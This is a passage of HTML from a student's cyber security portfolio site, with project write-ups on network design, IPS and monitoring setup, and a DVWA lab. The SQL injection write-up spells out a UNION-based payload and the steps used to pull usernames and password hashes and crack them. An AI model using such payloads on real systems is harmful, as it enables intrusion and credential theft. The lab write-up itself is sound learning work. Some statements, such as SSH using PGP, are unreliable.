class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal23"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/23-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal24"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis session</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal25"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/25-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Personal pen-test toolbox</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal26"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/26-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security of IOT protocols and technology</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal27"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/27-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Pen-test at COMPANY_NAME_HERE</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal28"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a smartphone app</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal29"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a website</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal30"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/24&28&29&30-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability analysis on a device</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal31"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/red/21&22&31-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Organize a weekly Hack The Box event</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Blue teaming specialisation</h5> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal32"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/32-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Red VS Blue Event</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal33"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">IDS technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal34"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/34-thumbnail.svg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Monitoring technologies</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal35"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/35-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">SIEM technologies</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal36"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/36-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Threat use cases</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal37"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/33&37-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Developing and tuning an IDS</p> </div> </div> </div> <div class="row"> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal38"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/38-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Setting up a SOC</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal39"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/39-thumbnail.jpg" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Vulnerability scanning</p> </div> </div> <div class="col-md-4 col-sm-6 portfolio-item"> <a class="portfolio-link" data-toggle="modal" href="#portfolioModal40"> <div class="portfolio-hover"> <div class="portfolio-hover-content"> <i class="fas fa-plus fa-3x"></i> </div> </div> <img class="img-fluid" src="img/portfolio/minor/blue/40-thumbnail.png" alt=""> </a> <div class="portfolio-caption"> <h4>Fontys S7</h4> <p class="text-muted">Security monitoring, analysis and triage</p> </div> </div> </div> <div class="row"> <div class="col-lg-12 text-center"> <h5 class="section-subheading text-muted">Forensics specialisation</h5> </div> </div> </div> </section> <section id="about"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About</h2> <h3 class="section-subheading text-muted">My cyber security career.</h3> </div> </div> <div class="row"> <div class="col-lg-12"> <ul class="timeline"> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/1.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S3 2019</h4> <h4 class="subheading">The beginning</h4> </div> <div class="timeline-body"> <p class="text-muted">This was the first time I got experienced the cyber security stream and what it had to offer. I learned the basics of the defensive side of cyber security.</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/2.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S4 2020</h4> <h4 class="subheading">Round 2</h4> </div> <div class="timeline-body"> <p class="text-muted">This was my second semester on cyber security this time focusing on the offensive side.</p> </div> </div> </li> <li> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/3.png" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S5 2021</h4> <h4 class="subheading">The internship</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <img class="rounded-circle img-fluid" src="img/about/4.jpg" alt=""> </div> <div class="timeline-panel"> <div class="timeline-heading"> <h4>Fontys S7 2021</h4> <h4 class="subheading">My minor</h4> </div> <div class="timeline-body"> <p class="text-muted">Lorem ipsum dolor sit amet, consectetur adipisicing elit. Sunt ut voluptatum eius sapiente, totam reiciendis temporibus qui quibusdam, recusandae sit vero unde, sed, incidunt et ea quo dolore laudantium consectetur!</p> </div> </div> </li> <li class="timeline-inverted"> <div class="timeline-image"> <h4>The <br>Future </h4> </div> </li> </ul> </div> </div> </div> </section> <section class="bg-light" id="team"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">About me</h2> <h3 class="section-subheading text-muted">Some additional links and information.</h3> </div> </div> <div class="row"> <div class="col-sm-4"> </div> <div class="col-sm-4"> <div class="team-member"> <img class="mx-auto rounded-circle" src="img/team/Pim.jpg" alt=""> <h4>Pim Beekmans</h4> <p class="text-muted">Student</p> <ul class="list-inline social-buttons"> <li class="list-inline-item"> <a href="#"> <i class="fab fa-twitter"></i> </a> </li> <li class="list-inline-item"> <a href="#"> <i class="fab fa-facebook-f"></i> </a> </li> <li class="list-inline-item"> <a href="https://www.linkedin.com/in/pim-beekmans/?originalSubdomain=nl"> <i class="fab fa-linkedin-in"></i> </a> </li> </ul> </div> </div> <div class="col-sm-4"> </div> <div class="row"> <div class="col-lg-8 mx-auto text-center"> <p class="large text-muted">This is me, thank you for reading, hopefully you've liked my portfolio on cyber security. For additional feedback feel free to send an email to <a href="/cdn-cgi/l/email-protection#ddadb4b09dbfb8b8b6b0bcb3aef3b9b8ab"><span class="__cf_email__" data-cfemail="1a6a73775a787f7f71777b7469347e7f6c">[email protected]</span></a>.</p> </div> </div> </div> </div> </section> <section class="py-5"> <div class="container"> <div class="row"> </div> </div> </section> <section id="contact"> <div class="container"> <div class="row"> <div class="col-lg-12 text-center"> <h2 class="section-heading text-uppercase">Contact Me</h2> <br> </div> </div> <div class="row"> <div class="col-lg-12"> <form id="contactForm" name="sentMessage" novalidate="novalidate"> <div class="row"> <div class="col-md-6"> <div class="form-group"> <input class="form-control" id="name" type="text" placeholder="Your Name *" required="required" data-validation-required-message="Please enter your name."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="email" type="email" placeholder="Your Email *" required="required" data-validation-required-message="Please enter your email address."> <p class="help-block text-danger"></p> </div> <div class="form-group"> <input class="form-control" id="phone" type="tel" placeholder="Your Phone *" required="required" data-validation-required-message="Please enter your phone number."> <p class="help-block text-danger"></p> </div> </div> <div class="col-md-6"> <div class="form-group"> <textarea class="form-control" id="message" placeholder="Your Message *" required="required" data-validation-required-message="Please enter a message."></textarea> <p class="help-block text-danger"></p> </div> </div> <div class="clearfix"></div> <div class="col-lg-12 text-center"> <div id="success"></div> <button id="sendMessageButton" class="btn btn-primary btn-xl text-uppercase" type="submit">Send Message</button> </div> </div> </form> </div> </div> </div> </section> <footer> <div class="container"> <div class="row"> <div class="col-md-4"> <span class="copyright">Copyright © Beekmans.dev 2019</span> </div> <div class="col-md-4"> </div> <div class="col-md-4"> <ul class="list-inline quicklinks"> <li class="list-inline-item"> <a href="#">Privacy Policy</a> </li> <li class="list-inline-item"> <a href="#">Terms of Use</a> </li> </ul> </div> </div> </div> </footer> <div class="portfolio-modal modal fade" id="portfolioModal1" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Self Assessment</h2> <p class="item-intro text-muted">Week 1</p> <p> <ol> <li>What did you like / or find easy?</li> <li>What did you find difficult? At what point did it get too difficult for now?</li> <li> Then check the list of learning subjects for the basic knowledge assignment and possibilities and requirements for the project. <ul> <li>What subjects do you already know and what is unknown terrain for you?</li> </ul> </li> <li>What parts of the current semester would you like to give much attention?</li> <li>What do you want to achieve and learn in particular?</li> <li>Which study style and corresponding planning is most suitable for you?</li> <li>What would you like to do or achieve in the project? (subjects, type of project, domain to work in, learning goals, etc.) </li> </ol> <br> Answers: <br> <ol> <li>I like working with servers and playing with my network at home and virtual machines. I think I find basic networking the easiest. </li> <li>Advanced networking all knowledge that I know is self-taught so I think there is a lot I don’t know yet. I got stuck on virtual lans and ip routing at home what else I’ll find difficult is what I need to find out in the distant future. </li> <li> Subjects: <div class="container"> <div class="row"> <div class="col-sm-4"> <ul> Used: <li>VMWare</li> <li>Linux</li> <li>IPv4</li> <li>NAT</li> <li>TCP/IP</li> <li>DNS</li> <li>HTTP</li> <li>FTP</li> <li>Firewalls</li> <li>HTTPS</li> <li>VPN</li> </ul> </div> <div class="col-sm-4"> <ul> Know about but never used: <li>VMWare ESX</li> <li>Wireshark</li> <li>ARP</li> <li>IP routing</li> <li>SMTP</li> <li>IDS</li> </ul> </div> <div class="col-sm-4"> <ul> Never heard about it: <li>Seclab</li> <li>ICMP ping</li> <li>CIA and IT Risk analysis</li> </ul> </div> </div> </div> </li> <li>Advanced networking and the transition to Java.</li> <li>How to be a good Cyber security expert.</li> <li>Style 2, I’ll try to find out if this is the most suitable for me and maybe go to the style 3 courses on the days I get subjects I already know. </li> <li>I don’t really have a preference I want to learn as much as possible related to cyber security. </li> </ol> </p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Self assessment</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal2" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagram.png" alt=""> <p>This network diagram shows 3 main VLAN's containing a employee environment for the employees to work on, a guest environment for the people visiting the company as guests and a DMZ for the servers and services to the outside world.</p> <ul class="list-inline"> <li>Date: February 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal3" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Network diagram V2</p> <img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/NetworkDiagramV2.png" alt=""> <p>This is the second version of my network diagram. I changed a few things to match Casper's feedback. The first thing I changed are the firewalls, I only needed to address the physical firewall and not the ones for every single interface. The last thing was I added the corresponding IP ranges and subnets to each VLAN.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Documentation</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal4" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Secure connections</p> <a href="../../img/portfolio/blue/sshAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sshAccess.png" alt=""></a> <p>Here you can see that I made a SSH connection to my Ubuntu webserver. I use Putty as my SSH terminal. SSH is encrypted using PGP (Pretty good privacy) which uses a public and a private key to communicate with each other. This is especially helpful because you don't need to transfer passwords to encrypt the connection. The sending client encrypts its message using the public key from the recipient and the recipient decrypts the message using its own private key. This works the same the other way around. I can use this technique to remotely manage my webservers without the need physical access.</p> <a href="../../img/portfolio/blue/vpnAccess.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/vpnAccess.png" alt=""></a> <p>Here you can see that I'm connected to a VPN. This VPN is OpenVPN and runs on the PfSense router. It gives me access to the subnets I gave it access to and with this I can remotely manage my whole network, with being actually physically connected to the network. The OpenVPN connection is encrypted be TLS (Transfer layer security) which is successor from SSL. TLS uses a handshake at the start of the connection where a key is shared between the 2 clients. This key will be used for the symmetric encryption of the messages. The authenticity of the connection is secured by a certificate and the public key of the webserver this prevents possible man in the middle attacks, where someone will pretend to be another website for example.</p> <a href="../../img/portfolio/blue/sslConnection.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/sslConnection.png" alt=""></a> <p>Here you can see the ssl certificate I created for the website that is running my portfolio. I created the script using certbot in Ubuntu and the CA is Let's encrypt authority x3. The website automatically forces all traffic to https, the website is still accessible by http but will redirect the user to https.</p> <ul class="list-inline"> <li>Date: March 2019</li> <li>Client: Fontys</li> <li>Category: Secure connections</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal5" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IDS/IPS</p> <P>I implemented Suricata as my IPS, I thought it would be the best option because they say it's more advanced and newer. Below you can see some prove of the implementation and some results I came across.</P> <a href="../../img/portfolio/blue/Suricata1.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata1.png" alt=""></a> <p>I configured the IPS to monitor the WAN and LAN interface for now but I'm planning to configure it to the Employee VLAN as well. This will protect the company for any potential threats from the inside.</p> <a href="../../img/portfolio/blue/Suricata2.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata2.png" alt=""></a> <p>I tested the IPS with a website called <a href="https://www.wicar.org/">Wicar</a>. On this website you can run malicious code and test you network without it being an actual threat or risk.</p> <a href="../../img/portfolio/blue/Suricata3.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Suricata3.png" alt=""></a> <p>I have used the Snort community rules and the Emerging threats rules these are both free to use and do a decent job of protecting the network with not too many false positives.</p> <a href="../../img/portfolio/blue/DDOSAlert.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/DDOSAlert.png" alt=""></a> <p>We encountered a real world scenario which actually turned out to work really well with an IPS. Bram tried to DDOS my website while it was running in my pfsense environment. The IPS immediately noticed this and blocked his IP. While the website was running outside the pfsense zone Bram could DDOS all he want without getting blocked.</p> <a href="../../img/portfolio/blue/BlockList.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BlockList.png" alt=""></a> <p>Here you can see Bram's IP in the Suricata blocklist.</p> <a href="../../img/portfolio/blue/Bram'sIP.jpg"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/Bram'sIP.jpg" alt=""></a> <p>This is a screenshot from Bram's computer with his IP he used for generating the alert.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: IDS/IPS</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal6" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">Information Security and Risk Analysis</p> <h3>CIA</h3> <h4>Confidentiality:</h4> <p>The company will hold confidential data from costumers, things like credit card information user accounts and databases for the costumer's websites.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Costumer data .... Leak</li> </ul> <h4>Integrity:</h4> <p>The costumers trust the company to secure their servers on their end and they trust the company that it won't sell any costumer data to 3rd parties.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Correct .... Tampering</li> </ul> <h4>Availability:</h4> <p>Because the costumers might use these websites for commercial use, it is at the utmost importance that the websites are fast, reliable and 24/7 reachable.</p> <br> <ul> <li>Attribute .... Threat</li> <li>Well timed .... Delay</li> <li>Continuity .... Downtime</li> </ul> <p>Click on this <a href="../../img/portfolio/Risk%20analysis.xlsx">link</a> to download the full risk analysis.</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Risk Analysis</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal7" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S3</h2> <p class="item-intro text-muted">IT Monitoring</p> <p>I implemented a Nagios server and installed Ntop as part of my network monitoring system.</p> <a href="../../img/portfolio/blue/OnlineHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/OnlineHosts.png" alt=""></a> <p>Ntop generates a list with all hosts that are online on the network and you can filter them by VLAN. You can see how much bandwidth they are using how much data was transferred since they are online and how many flows are going to that host.</p> <a href="../../img/portfolio/blue/MostUsedHosts.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedHosts.png" alt=""></a> <p>Here I can see which host uses the most traffic in my DMZ. With 172.16.0.2 being the apache server and 172.16.0.3 being the IIS server.</p> <a href="../../img/portfolio/blue/MostUsedProtocols.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/MostUsedProtocols.png" alt=""></a> <p>Here I can see which protocols are used the most. Windows update on number 1 because it needs to download a lot and after that ssl for the https traffic to my website and ftp to push changes. This doesn't indicate that the most traffic is going to windows update only that it used the most bandwidth.</p> <a href="../../img/portfolio/blue/BulgarianHacker.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/BulgarianHacker.png" alt=""></a> <p>Ntop even managed to identify a rogue Bulgarian hacker trying to access my Jenkins server.</p> <a href="../../img/portfolio/blue/HostsStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostsStatus.png" alt=""></a> <p>This is Nagios it is in some ways similar to Ntop but is much more advanced and can do some things that Ntop can't. On this page you can see al the hosts that are monitored by Nagios. It displays if the hosts are up and running or if there are any problems.</p> <a href="../../img/portfolio/blue/HostDetails.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/HostDetails.png" alt=""></a> <p>If you click on one of the monitored hosts from the previous picture Nagios will show you with a more detailed report on the host with some more information about uptime and status.</p> <a href="../../img/portfolio/blue/ServiceStatus.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/blue/ServiceStatus.png" alt=""></a> <p>This is a great example on something Nagios is much better at then Ntop. Here Nagios monitors all the services you flagged on different hosts. For example your apache server could be down but the physical Linux server is still up and running. Nagios and Ntop will both say this Linux machine is up and fine but Nagios will also say that the http/https service is down. The same goes for every other service you configure to monitor (SSH/FTP).</p> <ul class="list-inline"> <li>Date: April 2019</li> <li>Client: Fontys</li> <li>Category: Monitoring</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal8" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">SQL injection</p> <a href="../../img/portfolio/red/SqlStart.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/SqlStart.png" alt=""></a> <p>I applied sql injection on a search function in DVWA.</p> <a href="../../img/portfolio/red/CheckIfVuln.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVuln.png" alt=""></a> <p>The easiest way to check if the search function is vulnerable is to just type some gibberish that the search function doesn't expect. This should generate a sql error.</p> <a href="../../img/portfolio/red/CheckIfVulnResult.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/CheckIfVulnResult.png" alt=""></a> <p>And it did! Now we know that the search function is vulnerable and we can try some injections</p> <p>So know we can check which database we're dealing with by getting the version.</p> <a href="../../img/portfolio/red/GetDbVersion.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetDbVersion.png" alt=""></a> <p>Oke let's break it down.</p> <p>The query that is used for searching the users probably looks like something like this "SELECT first_name, last_name FROM users WHERE user_id = '$id'" and I typed "null' UNION select CURRENT_user, @@version #"</p> <p>The "null'" ends the original query and makes it obsolete because there probably aren't any users with a 'null' as id. The 'UNION' allows me to execute a subquery and the result from this query gets added underneath the results from the original query.</p> <p>Now I use 'select' to indicate which information I want to get. I used 'CURRENT_user' and '@@version' to get both the current user and the database version.</p> <p>The reason that I select both the "CURRENT_user" and the "@@version" in the same query, is that if I would only select for example "@@version" I would get the error displayed below. I could have fixed that by rewriting the query like this: "INSERT QUERY" and I typed "null' UNION select @@version, @@version #" This way the subquery matches the amount of columns of the original query again.</p> <a href="../../img/portfolio/Use%20Of%23.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/Use%20Of%23.png" alt=""></a> <p>TALK ABOUT THE #</p> <a href="../../img/portfolio/red/DiffNumberColumns.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/DiffNumberColumns.png" alt=""></a> <p>Now we can execute any query we want as long as it matches the amount of columns of the original query, otherwise we get a error like the one displayed above. Now we can try something that has a little more impact.</p> <a href="../../img/portfolio/red/GetAllTables.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetAllTables.png" alt=""></a> <p>For example by getting all the table names inside the database. This is obvious not a good sign because I good use this to determine what the names are of the user tables and check if there might be some more tables I want to focus on, for example credit card information of the users.</p> <a href="../../img/portfolio/red/GetUserAndPass.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/GetUserAndPass.png" alt=""></a> <p>But in this case we won't go after people's credit card information but after there password. I know the user table name from the previous query and now I can just try some common column names like; username, user, name, those type of things.</p> <p>And we got a username and a hash! But now what? The username is simple but the password is hashed and can't be just copied and used.</p> <a href="../../img/portfolio/red/HashDecrypt.png"><img class="img-fluid d-block mx-auto" src="../../img/portfolio/red/HashDecrypt.png" alt=""></a> <p>That's were this site comes in. I just insert the md5 hash in this decryptor and it checks a big database with common hashes and their decrypted word. And now I have the password and I can just login with admin/password.</p> <p>So how would you prevent this? The best thing to do is sanitize the queries. Make sure all the queries use prepared statements and are parameterised. This prevents people inserting for example strings instead of numbers and prevents them from ignoring your query and inserting their own.</p> <ul class="list-inline"> <li>Date: October 2019</li> <li>Client: Fontys</li> <li>Category: SQL injection</li> </ul> <button class="btn btn-primary" data-dismiss="modal" type="button"> <i class="fas fa-times"></i> Close Project </button> </div> </div> </div> </div> </div> </div> </div> <div class="portfolio-modal modal fade" id="portfolioModal9" tabindex="-1" role="dialog" aria-hidden="true"> <div class="modal-dialog"> <div class="modal-content"> <div class="close-modal" data-dismiss="modal"> <div class="lr"> <div class="rl"></div> </div> </div> <div class="container"> <div class="row"> <div class="col-lg-8 mx-auto"> <div class="modal-body"> <h2 class="text-uppercase">Fontys S4</h2> <p class="item-intro text-muted">Command injection</p> <p>I applied sql injection on a ping function in DVWA.</p> <a 